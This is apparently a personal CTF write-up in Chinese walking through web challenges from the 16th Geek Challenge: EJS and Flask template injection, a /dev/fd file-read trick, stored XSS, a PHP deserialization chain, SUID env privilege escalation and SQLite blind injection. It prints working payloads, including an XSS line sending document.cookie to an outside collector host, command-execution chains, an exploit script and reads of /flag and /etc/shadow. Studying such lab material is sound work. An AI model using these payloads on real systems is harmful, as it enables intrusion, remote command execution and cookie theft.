第十六届极客大挑战 web 复现
跟着大佬的文章复现
第十六届极客大挑战 web题型WP | CN-SEC 中文网
可能还需要做的,学习sql注入脚本咋写的,phar深入理解
Expression
描述:这个程序员偷懒直接复制粘贴网上的代码连 JWT 密钥都不改..?
直接那jwt用爆破一下,发现是secret




但是没东西,发现显示用户名,可能有ssti,emm

从图中可以看到,该项目使用了 Node.js + Express 框架,而 EJS 是 Express 最常用的模板引擎之一(Express 默认支持 EJS)
第一次接触这个模板。
Ejs简介:
EJS是一个javascript模板库,用来从json数据中生成HTML字符串
- 功能:缓存功能,能够缓存好的HTML模板;
- <% code %>用来执行javascript代码
基础用法:
标签:
所有使用 <% %> 括起来的内容都会被编译成 Javascript,可以在模版文件中像写js一样Coding
语法对比表
| 语法 | 作用 | 特点 |
|---|---|---|
<% %> | 执行 JS 代码(无输出) | 流程控制专用 |
<%= %> | 输出表达式结果(转义 HTML) | 安全输出,防 XSS |
<%- %> | 输出表达式结果(不转义 HTML) | 适合渲染富文本,有风险 |
<%# %> | EJS 注释 | 不执行、不显示 |
<%% %> | 输出字面量<% | 转义 EJS 语法标签 |
这里jwt的username会被渲染




一、代码逐段解析
1. setInterval.constructor('return process')()
setInterval 是 JavaScript 的内置函数,它的constructor指向Function 构造函数(所有函数的构造器都是Function)。
Function构造函数可以接收字符串形式的代码,执行后返回结果。这里'return process'会被执行,返回 Node.js 的process对象(process是 Node.js 的核心对象,暴露进程信息和底层 API)。2. .mainModule.require('child_process')
process.mainModule指向 Node.js 应用的主模块,通过require('child_process')加载 Node.js 的子进程模块(用于执行系统命令)。
3. .execSync('ls').toString()
child_process.execSync('ls') 同步执行系统命令ls(列出当前目录文件),返回 Buffer 类型结果;.toString()将 Buffer 转为字符串,方便输出查看。
是的,通用 EJS 模板注入 Payload 的构造和使用,确实需要对 JavaScript(尤其是 Node.js 环境)有一定了解
再说吧,以后遇到黑名单在学。
Vibe SEO
目录扫到sitemap.xml,然后根据aa__^^.php
根据报错信息,意思就是缺少一个filename参数
我们直接读取当前aa__^^.php文件
<?php$flag = fopen('/my_secret.txt', 'r');if(strlen($_GET['filename'])< 11){readfile($_GET['filename']);} else {echo "Filename too long";}
得到源码
flag在/my_secret.txt文件中,但是传参的长度要小于11
所以正常的读取就不行了
这里就需要引入一个类Unix系统中的一个特殊目录,`/dev/fd``,全称是 "file descriptors"(文件描述符),它提供了一种通过文件系统路径访问进程已打开文件的方式。
每个运行中的进程都会维护一个文件描述符表(file descriptor table),其中记录了该进程当前打开的所有文件(包括普通文件、管道、网络连接、终端等),每个文件对应一个非负整数(如 0、1、2等,称为文件描述符)。
/dev/fd目录中会动态生成以这些文件描述符数字命名的特殊文件(如/dev/fd/0、/dev/fd/1、/dev/fd/2),通过访问这些路径,就可以间接操作进程已打开的对应文件。
进程启动时默认打开 3 个文件描述符,对应 /dev/fd中的固定路径:
•/dev/fd/0:标准输入(stdin),通常对应终端的输入(如键盘)。
•/dev/fd/1:标准输出(stdout),通常对应终端的输出(如屏幕)。
•/dev/fd/2:标准错误(stderr),通常对应终端的错误输出。
fopen会创建文件描述符,所以my_secret.txt会有一个文件描述符。那么就可以通过/dev/fd/*访问到
然后就bp发包爆破就行
这里我打的时候不知道有linux的东西,问ai说是用php://fd/
一、php://fd/ 与 Linux 系统 /dev/fd/ 的核心关系
php://fd/ 是 PHP 提供的内置封装协议,而 /dev/fd/ 是类 Unix 系统(Linux、macOS 等)的文件系统特殊目录—— 两者本质上是 “上层封装” 与 “底层实现” 的关系:
- Linux 的
/dev/fd/是系统级的文件描述符访问入口,所有进程都可通过这个路径操作自身已打开的文件描述符; - PHP 的
php://fd/是对系统/dev/fd/的PHP 层封装,专门让 PHP 脚本通过 “协议语法” 访问当前 PHP 进程的文件描述符,本质上还是调用了系统的/dev/fd/机制。
二、具体区别与联系
| 维度 | php://fd/ | Linux /dev/fd/ |
|---|---|---|
| 归属层面 | PHP 语言内置协议(用户态封装) | 系统文件系统(内核态实现) |
| 访问范围 | 仅当前 PHP 进程的文件描述符 | 任意进程的文件描述符(需权限) |
| 语法格式 | php://fd/[数字](如 php://fd/3) | /dev/fd/[数字](如 /dev/fd/3) |
| 依赖环境 | 仅 PHP 环境可用,与系统无关(Windows 下 PHP 也模拟支持) | 仅类 Unix 系统(Linux、macOS 等)存在,Windows 无此目录 |
| 本质作用 | 通过 PHP 协议访问文件描述符 | 通过文件系统路径访问文件描述符 |
三、为什么在这个场景中两者都能用?
你遇到的场景是 PHP 脚本运行在 Linux 系统上:
- 脚本中用
fopen('/my_secret.txt', 'r')打开了文件,会生成一个文件描述符(比如 3,因为 0/1/2 被标准输入 / 输出 / 错误占用); - 用
filename=/dev/fd/3或filename=php://fd/3都能访问这个已打开的文件 —— 前者是直接访问系统路径,后者是通过 PHP 协议间接访问,最终效果一致; - 两者的长度都小于 11(
/dev/fd/3是 8 位,php://fd/3是 9 位),都满足strlen($_GET['filename']) < 11的限制,因此都能绕过长度检查读取文件。
四、总结
/dev/fd/是 Linux 系统的 “原生功能”,所有运行在 Linux 上的程序(包括 PHP)都能直接用;php://fd/是 PHP 为了统一协议语法(比如和php://filter/等保持一致)做的封装,更贴合 PHP 的使用习惯,且跨系统兼容性更好(比如 Windows 下 PHP 也能通过php://fd/访问文件描述符,而 Windows 本身没有/dev/fd/);- 在你的 Linux+PHP 场景中,两者等价,核心都是利用 “已打开文件的描述符” 绕过长度限制读取目标文件。
噢噢噢噢,我想起来了php://fd/13 字符数超了,当时只能跑个位数。
Xross The Finish Line


xss过滤了单引号、双引号、空格、+、换行、回车、<img
空格用/绕过、引号用反引号
是时候复习一下xss的绕过了
大小写
不用script
•<svg οnlοad=alert(1)>•<iframe src=javascript:alert(1)>•<a οnmοuseοver=alert(document.cookie)>xxs link</a>•<a href=javascript:alert(1)>link</a>•<img src=x οnerrοr=alert(1)></img>
大佬的payload
<body/**/onload=location.href=`http://115.120.236.65:5555/xs/1.php?cookie=`+document.cookie>

可以用这里<svg/**/οnlοad=alert(1)>
过滤的空格可以用/**/绕过
2. JavaScript 中的/**/
在 JS 代码里,/**/是多行注释,解析器会跳过注释内容,不影响代码语法结构。例如:
- 原 JS:
onload=location.href=xxx - 插入
/**/:onload=location/**/.href=xxx
JS 引擎执行时,会忽略location和.href之间的/**/,代码逻辑和没有注释时完全一致。
最后payload
<body/**/onload=location.href=`https://8tbkyalk.requestrepo.com/?cookie=`+document.cookie>


这个 Payload 是针对 XSS 漏洞的Cookie 盗取攻击代码,结合了 HTML/JS 语法特性和绕过技巧,完整讲解如下:
一、整体结构与核心目的
html
预览
<body/**/onload=location.href=`https://8tbkyalk.requestrepo.com/?cookie=`+document.cookie> 核心目的:当页面加载完成时,自动将当前网站的 Cookie 信息发送到攻击者的接收地址(requestrepo.com),实现 Cookie 盗取(进而冒充用户登录)。
二、逐段拆解分析
1. <body/**/onload=
<body>:HTML 的主体标签,页面所有可见内容都嵌套在其中,是触发页面加载事件的常用标签;/**/:多行注释符号,这里用来替代空格(绕过目标网站对空格的过滤规则)。HTML 解析器会忽略注释内容,最终等价于<body onload=;onload=:<body>标签的加载事件属性,表示 “页面完全加载后自动执行后面的 JavaScript 代码”(无需用户点击 / 交互,隐蔽性极强)。
2. location.href=
location.href是 JavaScript 的内置属性,作用是控制浏览器跳转或访问指定 URL。当给它赋值时,浏览器会自动跳转到赋值的地址。
3. https://8tbkyalk.requestrepo.com/?cookie=
- 这是攻击者的Cookie 接收地址(
requestrepo.com平台生成的专属地址); ?cookie=是 URL 的参数键名,用于标识后续传递的是 Cookie 数据;- 反引号(
`):替代单引号 / 双引号(绕过目标网站对引号的过滤),JS 会将反引号内的内容识别为字符串(等价于用双引号包裹:"https://xxx?cookie=")。
4. +document.cookie
+:JavaScript 的字符串拼接符,将前面的接收地址和后面的 Cookie 值拼接成完整 URL;document.cookie:JavaScript 的内置属性,会获取当前页面的所有 Cookie 信息(如登录凭证PHPSESSID=xxx、用户身份信息等)。
三、执行流程(通俗理解)
- 受害者访问包含这个 Payload 的页面 → 页面加载完成触发
<body>的onload事件; - JS 代码执行:拼接出完整的 URL(例如
https://8tbkyalk.requestrepo.com/?cookie=PHPSESSID=123456; user=admin); - 浏览器自动跳转到这个 URL →
requestrepo.com平台接收并记录带 Cookie 参数的请求; - 攻击者登录
requestrepo.com查看记录,就能拿到受害者的 Cookie,实现冒充登录等攻击。
四、关键绕过技巧总结
/**/替代空格:绕过目标对空格的过滤;- 反引号替代引号:绕过目标对单 / 双引号的过滤;
onload无交互触发:无需用户操作,页面加载即执行,隐蔽性高。
这个 Payload 的设计精准利用了 HTML/JS 的原生特性,同时针对性绕过了目标网站的过滤规则,是典型的 “无交互 XSS 盗取 Cookie” 攻击手段~
这题流程,在评论区存在xss,然后注入xss代码,然后点击报告管理员,管理员访问这个评论区,触发js代码,把cookie发给设定的网址。就获取到管理员的cookie了。这个存储型xss就是只要受害这访问这个网站就会获取它的cookie。
popself
<?php show_source(__FILE__); error_reporting(0); class All_in_one { public $KiraKiraAyu; public $_4ak5ra; public $K4per; public $Samsāra; public $komiko; public $Fox; public $Eureka; public $QYQS; public $sleep3r; public $ivory; public $L; public function __set($name, $value){ echo "他还是没有忘记那个".$value."<br>"; echo "收集夏日的碎片吧<br>"; $fox = $this->Fox; if ( !($fox instanceof All_in_one) && $fox()==="summer"){ echo "QYQS enjoy summer<br>"; echo "开启循环吧<br>"; $komiko = $this->komiko; $komiko->Eureka($this->L, $this->sleep3r); } } public function __invoke(){ echo "恭喜成功signin!<br>"; echo "welcome to Geek_Challenge2025!<br>"; $f = $this->Samsāra; $arg = $this->ivory; $f($arg); } public function __destruct(){ echo "你能让K4per和KiraKiraAyu组成一队吗<br>"; if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) { if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){ die("boys和而不同<br>"); } if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){ echo "BOY♂ sign GEEK<br>"; echo "开启循环吧<br>"; $this->QYQS->partner = "summer"; } else { echo "BOY♂ can`t sign GEEK<br>"; echo md5(md5($this->KiraKiraAyu))."<br>"; echo md5($this->K4per)."<br>"; } } else{ die("boys堂堂正正"); } } public function __tostring(){ echo "再走一步...<br>"; $a = $this->_4ak5ra; $a(); } public function __call($method, $args){ if (strlen($args[0])<4 && ($args[0]+1)>10000){ echo "再走一步<br>"; echo $args[1]; } else{ echo "你要努力进窄门<br>"; } } } class summer { public static function find_myself(){ return "summer"; } } $payload = $_GET["24_SYC.zip"]; if (isset($payload)) { unserialize($payload); } else { echo "没有大家的压缩包的话,瓦达西!<br>"; } ?> 没有大家的压缩包的话,瓦达西!第一步get传参24_SYC.zip,考虑到php的特性,需要用[来替换_,也就是传参24[SYC.zip
后面就是反序列化了,第一步也就是__destruct(),先进行强弱比较0e绕过,这个比较简单,直接给
$a->KiraKiraAyu='f2WfQ';$a->K4per='0e215962017';__dustruct()-->__set()-->__call()-->__tostring()-->__invoke()触发__set():$a->QYQS=$a;
__destruct():对象销毁时触发,是本题利用链起点。__set():给对象不存在 / 不可访问属性赋值时触发。__call():调用对象不存在 / 不可访问方法时触发。__invoke():对象被当作函数调用时触发。__toString():对象被当作字符串使用时触发。
学到了新东西,
要进入__set()里的if块,核心是满足 **__set的触发前提 **+两个条件判断,结合 PHP 的特性拆解如下:
1. 先触发__set方法
main对象的__destruct()里执行了$this->QYQS->partner = "summer":
$this->QYQS指向的是qyqs对象;qyqs对象没有partner属性(类里定义的属性是Fox、komiko等,无partner);- 给对象不存在的属性赋值,触发
qyqs对象的__set()方法 —— 这是进入__set函数体的前提。
2. 解析if的两个条件
条件 1:!($fox instanceof All_in_one)
$fox = $this->Fox; → $this是qyqs对象,$fox就是你设置的["summer", "find_myself"](数组)。instanceof用来判断变量是否是某个类的实例,数组显然不是All_in_one的实例,因此!($fox instanceof All_in_one)结果为true。
条件 2:$fox() === "summer"
这是 PHP 的回调函数特性:如果数组是[类名, 静态方法名]的格式,调用这个数组($fox())会执行对应类的静态方法。你设置的$fox = ["summer", "find_myself"],调用$fox()等价于执行summer::find_myself();而summer类的find_myself()方法正好返回"summer",因此$fox() === "summer"结果为true。
3. 最终进入if块
两个条件都满足,因此执行if内的逻辑:调用$komiko->Eureka(...),继续推进利用链。
简单说:先通过 “给不存在的属性赋值” 触发__set,再靠数组回调的特性满足if条件,最终进入代码块。
$args[0]是调用Eureka方法时传递的第一个参数,对应代码里的$this->L(也就是你给qyqs对象设置的L属性值:"1e5")。
具体来源:
触发__call()的代码是$komiko->Eureka($this->L, $this->sleep3r)(在__set()里):
Eureka是要调用的方法名(不存在,所以触发__call);$this->L是第一个参数 → 对应$args[0];$this->sleep3r是第二个参数 → 对应$args[1]。
你设置的$qyqs->L = "1e5"正好满足条件:
strlen("1e5") = 3 < 4;"1e5" + 1 = 100001 > 10000(PHP 会把"1e5"当作科学计数法的100000处理)。
所以$args[0]就是"1e5",这也是为什么能进入if块并输出$args[1](即sleep3r对象)的原因
是的,$args[1]确实被设置成了对象 —— 具体是你之前创建的$sleep3r对象(All_in_one类的实例)。
具体来源:
触发__call()的代码是$komiko->Eureka($this->L, $this->sleep3r)(在__set()里):
- 第二个参数是
$this->sleep3r,而你给qyqs对象的sleep3r属性赋值为$sleep3r = new All_in_one()(创建的All_in_one对象); - 因此
$args[1]就是这个$sleep3r对象。
关键影响:
当__call()里执行echo $args[1]时,因为$args[1]是对象,PHP 会自动触发该对象的__toString()魔术方法(对象被当作字符串输出时触发),这也是你后续能触发__invoke()的关键。
exp
<?php class All_in_one { public $Samsāra; public $ivory; public $_4ak5ra; public $KiraKiraAyu; public $K4per; public $QYQS; public $Fox; public $komiko; public $Eureka; public $sleep3r; public $L; } // 构建对象 $sleep3r = new All_in_one(); $sleep3r->Samsāra = "system"; $sleep3r->ivory = "printenv"; $sleep3r->_4ak5ra = $sleep3r; $qyqs = new All_in_one(); $qyqs->KiraKiraAyu = "NnWWBiYnDZ5CCLbZap5z"; $qyqs->K4per = "s1885207154a"; $qyqs->QYQS = null; $qyqs->Fox = ["summer", "find_myself"]; $qyqs->L = "1e5"; $qyqs->sleep3r = $sleep3r; $main = new All_in_one(); $main->KiraKiraAyu = "NnWWBiYnDZ5CCLbZap5z"; $main->K4per = "s1885207154a"; $main->QYQS = $qyqs; $qyqs->komiko = $main; echo urlencode(serialize($main)); ?>反序列化主对象
→ 触发 __destruct()(题目隐式调用)
→ 调用 $this->QYQS->KiraKiraAyu(..., $this->QYQS->sleep3r)
→ 因 QYQS 无此方法,触发 __call
→ __call 中 echo $sleep3r
→ 触发 $sleep3r->__toString()
→ $sleep3r->__toString() 调用 $this->_4ak5ra()(即自身)
→ 触发 $sleep3r->__invoke()
→ 执行 system("printenv")
ezread
随便注册个账号后

读取/proc/1/environ
读取 /proc/1/environ 是Linux 系统下信息收集的关键操作,结合你的场景可以从以下几点理解原因:
1. /proc 文件系统的特性
/proc 是 Linux 内核提供的虚拟文件系统,不存储在磁盘上,而是实时反映内核和进程的运行状态。其中 /proc/[pid]/environ 会保存对应 PID 进程的环境变量信息(以 key=value 形式存储,用 \0 分隔)。
在容器环境中(比如你遇到的场景),PID=1 的进程通常是应用的主进程(而非宿主机的 init),它的环境变量会包含容器内部的关键配置、路径、服务信息等 —— 这些是常规文件读取无法直接获取的。
2. 你的场景中读取 /proc/1/environ 的价值
- 获取关键路径:从
environ里你拿到了PWD=/opt/___web_very_strange_42___、HOME=/opt/___web_very_strange_42___,直接暴露了应用的工作目录,进而能读取/opt/___web_very_strange_42___/app.py拿到源码; - 获取提示信息:
HINT=用我提个权吧给出了后续渗透的方向; - 绕开直接限制:直接读
/flag会返回 500 错误(被限制),但/proc文件系统的内容通常不会被简单拦截,成为突破点; - 容器环境的信息补充:
environ里还包含大量容器内的服务地址、端口等,能帮助理解环境架构,为后续提权 / 横向移动铺垫。
3. 为什么选 PID=1?
在容器中,PID 1 是第一个启动的进程(应用主进程),它的环境变量会继承容器启动时的配置(比如 Dockerfile 的 ENV、K8s 的环境变量配置等),包含的信息最全面;如果读其他 PID,可能是子进程,信息会更少。
总结来说:当直接读取敏感文件(如 /flag)被限制时,/proc/1/environ 是低成本、高回报的信息收集入口—— 它能暴露应用的工作路径、配置线索甚至渗透方向,为后续突破提供关键依据。
从 /proc/1/environ 里能看到 PYTHON_VERSION=3.11.14、PYTHONUNBUFFERED=1 等环境变量,直接暴露了应用是Python 开发的
读取/opt/___web_very_strange_42___/app.py
得到源码
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session import os app = Flask(__name__, template_folder="templates", static_folder="static") app.secret_key = "key_ciallo_secret" USERS = {} def waf(payload: str) -> str: print(len(payload)) if not payload: return "" if len(payload) not in (114, 514): return payload.replace("(", "") else: waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"] for w in waf: if w in payload: raise ValueError(f"waf") return payload @app.route("/") def index(): user = session.get("user") return render_template("index.html", user=user) @app.route("/register", methods=["GET", "POST"]) def register(): if request.method == "POST": username = (request.form.get("username") or "") password = request.form.get("password") or "" if not username or not password: return render_template("register.html", error="用户名和密码不能为空") if username in USERS: return render_template("register.html", error="用户名已存在") USERS[username] = {"password": password} session["user"] = username return redirect(url_for("profile")) return render_template("register.html") @app.route("/login", methods=["GET", "POST"]) def login(): if request.method == "POST": username = (request.form.get("username") or "").strip() password = request.form.get("password") or "" user = USERS.get(username) if not user or user.get("password") != password: return render_template("login.html", error="用户名或密码错误") session["user"] = username return redirect(url_for("profile")) return render_template("login.html") @app.route("/logout") def logout(): session.clear() return redirect(url_for("index")) @app.route("/profile") def profile(): user = session.get("user") if not user: return redirect(url_for("login")) name_raw = request.args.get("name", user) try: filtered = waf(name_raw) tmpl = f"欢迎,{filtered}" rendered_snippet = render_template_string(tmpl) error_msg = None except Exception as e: error_msg = f"渲染错误: {e}" return render_template( "profile.html", content=rendered_snippet, name_input=name_raw, user=user, error_msg=error_msg, ) @app.route("/read", methods=["GET", "POST"]) def read_file(): user = session.get("user") if not user: return redirect(url_for("login")) base_dir = os.path.join(os.path.dirname(__file__), "story") try: entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))]) except FileNotFoundError: entries = [] if request.method == "POST": filename = request.form.get("filename") or "" else: filename = request.args.get("filename") or "" content = None error = None if filename: sanitized = filename.replace("../", "") target_path = os.path.join(base_dir, sanitized) if not os.path.isfile(target_path): error = f"文件不存在: {sanitized}" else: with open(target_path, "r", encoding="utf-8", errors="ignore") as f: content = f.read() return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user) if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=False)Flask SSTI+ WAF 绕过题
触发点在 /profile:
name_raw = request.args.get("name", user) filtered = waf(name_raw) tmpl = f"欢迎,{filtered}" rendered_snippet = render_template_string(tmpl) 用[]获取属性可以绕过关键字过滤
{{ url_for[("__glo" ~ "bals__")]["os"].popen("ls / -al ").read() }}{#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#}

if len(payload) not in (114, 514):
return payload.replace("(", "")
这里是114或514,不是114到514
是的,代码中的 (114, 514) 是元组(tuple),这是 Python 中的一种不可变序列类型。
-r-------- 1 root root 69 Nov 30 11:09 flag
只有root有读的权限,当前是ctf用户没有读的权限


find / -perm -u=s -type f 2>/dev/null这条命令是 Linux 下用于查找系统中所有设置了 SUID 权限位的普通文件的经典指令,常用于安全审计或权限排查。下面逐部分拆解说明:
1. 命令各组件解析
| 组件 | 作用 |
|---|---|
find / | 启动 find 查找工具,从 ** 根目录(/)** 开始递归遍历所有文件 / 目录 |
-perm -u=s | 权限筛选条件:匹配用户(owner)权限位设置了 SUID的文件 |
-type f | 限定查找类型为普通文件(file),排除目录、符号链接、设备文件等 |
2>/dev/null | 将 ** 标准错误输出(stderr,文件描述符为 2)** 重定向到空设备,忽略权限不足等报错 |
2. 关键细节:SUID 权限与 -perm -u=s
- SUID(Set User ID):Linux 特殊权限位之一,作用是普通用户执行该文件时,会临时获得文件所有者的权限(比如
/usr/bin/passwd是 root 所有且带 SUID,普通用户执行时能临时获得 root 权限修改密码)。 -perm -u=s的等价写法:-perm 4000(SUID 的数值表示为 4000,u=s是符号化写法);若去掉前面的-(写成perm u=s)则表示精确匹配权限(仅文件权限刚好是 SUID 时匹配),而-perm -u=s表示文件权限至少包含 SUID 位(更常用)。
env 能用于提权,核心是它的SUID 权限特性 + 功能通用性,和其他 SUID 程序(如su、gpasswd、mount等)有本质区别,具体拆解如下:
一、SUID 程序的核心差异:功能定位决定利用难度
SUID 的本质是程序以文件所有者(通常是 root)的权限运行,但不同 SUID 程序的设计目的和功能限制完全不同:
1. 其他 SUID 程序(如su/gpasswd/mount):专用工具,有严格限制
su:用于切换用户,但必须输入目标用户(如 root)的密码才能提权,没有密码无法利用;gpasswd:仅用于管理用户组,功能被严格限定,无法直接执行任意命令;mount:仅用于挂载文件系统,需要特定参数且操作受系统规则约束,没法直接读 flag 或执行 shell;这些程序是 **“专用工具”**,设计上就限制了滥用场景,即使有 SUID 也很难直接提权。
2. env:通用工具,可直接执行任意命令
env的核心功能是设置 / 修改环境变量并执行其他程序,本身是 “通用执行器”—— 它可以直接传递参数调用其他命令(比如env whoami、env cat /flag)。当env被设置了 SUID 且所有者是 root 时,运行env的瞬间,整个进程就会以root 权限执行后续命令,相当于 “借 root 的身份干任何事”,无需密码、无需特殊参数,直接利用。
二、env能提权的关键条件
env本身有 SUID 权限:你场景中/usr/local/bin/env被设置了 SUID(ls -l /usr/local/bin/env会看到权限位有s,如-rwsr-xr-x),且所有者是 root—— 这是基础,没有 SUID 的话env就是普通权限。env的功能无限制:不像su需要验证、mount有功能约束,env可以直接拼接任意命令执行(如env cat /flag),相当于把 root 权限的 “执行权” 直接交给了你。
三、总结:env和其他 SUID 程序的核心区别
| 特性 | env | 其他 SUID 程序(su/gpasswd/mount) |
|---|---|---|
| 功能定位 | 通用命令执行工具 | 专用系统工具(切换用户 / 管理组 / 挂载) |
| 利用门槛 | 无额外限制,直接传命令 | 需要密码 / 特定参数 / 系统约束 |
| 权限利用效率 | 直接提权执行任意命令 | 几乎无法直接提权 |
简单说:env是 “带 root 权限的万能执行器”,而其他 SUID 程序是 “带 root 权限的专用工具”—— 前者能直接为你所用,后者被功能锁死,这就是env能提权的核心原因。

sudo -l没东西
- 先执行
sudo -l:如果能拿到免密执行的 root 权限命令,这是最快捷的提权方式,无需绕路; - 若
sudo -l无权限,再执行find / -perm -u=s -type f 2>/dev/null:从结果中找可利用的 SUID 程序(如env/bash/nmap等),尝试提权。

env 命令后面完全可以拼接内容,具体拼接的内容类型和效果取决于 env 的语法规则以及你要实现的目标。结合你给出的 SSTI 注入 payload,下面分情况详细说明:
1. env 的基础语法
env 的核心语法是:
env [选项] [环境变量=值]... [要执行的命令 [命令参数]] - 如果
env后直接跟命令 + 参数(如你 payload 里的env cat /flag),env会以当前环境变量执行后面的命令; - 如果
env后先跟环境变量设置(如env PATH=/tmp cat /flag),再跟命令,env会先设置指定环境变量,再执行命令; - 如果
env后拼接多个命令 / 参数(如env cat /flag /etc/passwd或env cat /flag;id),shell 会按规则解析执行。
2. env 后可拼接的内容类型
(1)拼接命令参数
比如在你原 payload 基础上,拼接多个文件路径让 cat 同时读取:
env cat /flag /etc/passwd # 同时读取/flag和/etc/passwd 这里 env 后拼接了 cat 的额外参数 /etc/passwd,完全合法且会被执行。
(2)拼接环境变量配置
可以先设置环境变量,再执行命令:
env PATH=/usr/local/sbin LC_ALL=C cat /flag # 设置PATH和LC_ALL后执行cat env 会先应用这些环境变量,再运行后面的 cat /flag。
(3)拼接额外命令(命令注入场景)
如果是在命令注入的场景下,还能通过 shell 分隔符(;/&&/||)拼接额外命令:
env cat /flag;id # 先执行cat /flag,再执行id env cat /flag && whoami # 仅当cat /flag成功时,执行whoami env 本身不限制这种拼接,因为 shell 会先解析分隔符,再执行对应的命令链。
(4)拼接 env 自身的选项
env 也支持一些选项(如 -i 清空环境变量、-u 删除某个环境变量),可以拼接在后面:
env -i cat /flag # 清空所有环境变量后执行cat /flag env -u PATH cat /flag # 删除PATH环境变量后执行cat /flag 3. 结合你的 SSTI payload 说明
你原 payload 里的 env cat /flag 是 env 后直接拼接 “命令 + 参数” 的用法,属于 env 的常规用法。如果需要扩展,比如想读取更多文件或执行额外命令,直接拼接即可,例如:
{{ url_for[("__glo" ~ "bals__")]["os"].popen("/usr/local/bin/env cat /flag /etc/shadow;id").read() }} 这里 env 后拼接了 cat 的多个参数和额外的 id 命令,shell 会正常解析执行。
总结
env 后不仅可以拼接命令、参数,还能拼接环境变量配置、shell 命令链甚至自身选项 —— 本质是 env 会把后面的内容当作 “要执行的命令行片段” 交给 shell 处理,只要符合 shell 语法,拼接就会生效。
Sequal No

sql注入
只有3种回显
存在用户/不存在用户/非法输入
存在用户就是表达式为真
过滤了空格,布尔盲注表名
你说:
1'or%20→ 显示:未找到用户或已停用1'or%20u→ 显示:非法输入
也就是说:
- 只有一个空格(%20)时不触发过滤
- 空格后面加任何字符就触发过滤
这说明过滤器大概率不是过滤 %20 本身,而是过滤某种SQL 注入常见模式
/check.php?name=1'or/**/substr((select/**/group_concat(name)/**/from/**/sqlite_master),1-100,1)='ascii可打印字符'--

查完表,这是sqlite注入
- 系统表
sqlite_master的存在:SQLite 中sqlite_master是内置系统表,存储数据库中所有表、视图等对象的元数据(包括表名、创建 SQL 语句),因此注入语句可通过查询该表获取users表的信息。
注 建表语句
1'or/**/substr((select/**/sql/**/from/**/sqlite_master/**/where/**/name='users'),{{int(0-200)}},1)='ascii可打印字符'--最后得到表
1 | |
users的建表语句
1 2 3 4 5 6 7 | |
flag在secret
1 | |
ez-seralize

index.php
<?php ini_set('display_errors', '0'); $filename = isset($_GET['filename']) ? $_GET['filename'] : null; $content = null; $error = null; if (isset($filename) && $filename !== '') { $balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"]; foreach ($balcklist as $v) { if (strpos($filename, $v) !== false) { $error = "no no no"; break; } } if ($error === null) { if (isset($_GET['serialized'])) { require 'function.php'; $file_contents= file_get_contents($filename); if ($file_contents === false) { $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename); } else { $content = $file_contents; } } else { $file_contents = file_get_contents($filename); if ($file_contents === false) { $error = "Failed to read file or file does not exist: " . htmlspecialchars($filename); } else { $content = $file_contents; } } } } else { $error = null; } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>File Reader</title> <style> :root{ --card-bg: #ffffff; --page-bg: linear-gradient(135deg,#f0f7ff 0%,#fbfbfb 100%); --accent: #1e88e5; --muted: #6b7280; --success: #16a34a; --danger: #dc2626; --card-radius: 12px; --card-pad: 20px; } html,body{height:100%;margin:0;font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;} body{ background: var(--page-bg); display:flex; align-items:center; justify-content:center; padding:24px; } .card{ width:100%; max-width:820px; background:var(--card-bg); border-radius:var(--card-radius); box-shadow: 0 10px 30px rgba(16,24,40,0.08); padding:var(--card-pad); } h1{margin:0 0 6px 0;font-size:18px;color:#0f172a;} p.lead{margin:0 0 18px 0;color:var(--muted);font-size:13px} form.controls{display:flex;gap:10px;flex-wrap:wrap;align-items:center;margin-bottom:14px} input[type="text"]{ flex:1; padding:10px 12px; border:1px solid #e6e9ef; border-radius:8px; font-size:14px; outline:none; transition:box-shadow .12s ease,border-color .12s ease; } input[type="text"]:focus{box-shadow:0 0 0 4px rgba(30,136,229,0.08);border-color:var(--accent)} button.btn{ padding:10px 16px; background:var(--accent); color:white; border:none; border-radius:8px; cursor:pointer; font-weight:600; } button.btn.secondary{ background:#f3f4f6;color:#0f172a;font-weight:600;border:1px solid #e6e9ef; } .hint{font-size:12px;color:var(--muted);margin-top:6px} .result{ margin-top:14px; border-radius:8px; overflow:hidden; border:1px solid #e6e9ef; } .result .meta{ padding:10px 12px; display:flex; justify-content:space-between; align-items:center; background:#fbfdff; font-size:13px; color:#111827; } .result .body{ padding:12px; background:#0b1220; color:#e6eef8; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace; font-size:13px; line-height:1.5; max-height:520px; overflow:auto; white-space:pre-wrap; word-break:break-word; } .alert{padding:10px 12px;border-radius:8px;font-weight:600;margin-top:12px;} .alert.warn{background:#fff7ed;color:#92400e;border:1px solid #ffedd5} .alert.error{background:#fff1f2;color:#9f1239;border:1px solid #fecaca} .alert.info{background:#ecfeff;color:#064e3b;border:1px solid #bbf7d0} .footer{margin-top:12px;font-size:12px;color:var(--muted)} @media (max-width:640px){ .card{padding:16px} .result .meta{font-size:12px} } </style> </head> <body> <div> <h1>📄 File Reader</h1> <p>在下面输入要读取的文件</p> <form method="get"> <input type="text" name="filename" value="<?php echo isset($_GET['filename']) ? htmlspecialchars($_GET['filename'], ENT_QUOTES) : ''; ?>" /> <button type="submit">读取文件</button> <a>重置</a> </form> <?php if ($error !== null && $error !== ''): ?> <div role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div> <?php endif; ?> <!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \ > /usr/local/etc/php/conf.d/zz-open_basedir.ini--> <?php if ($content !== null): ?> <div aria-live="polite"> <div> <div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); 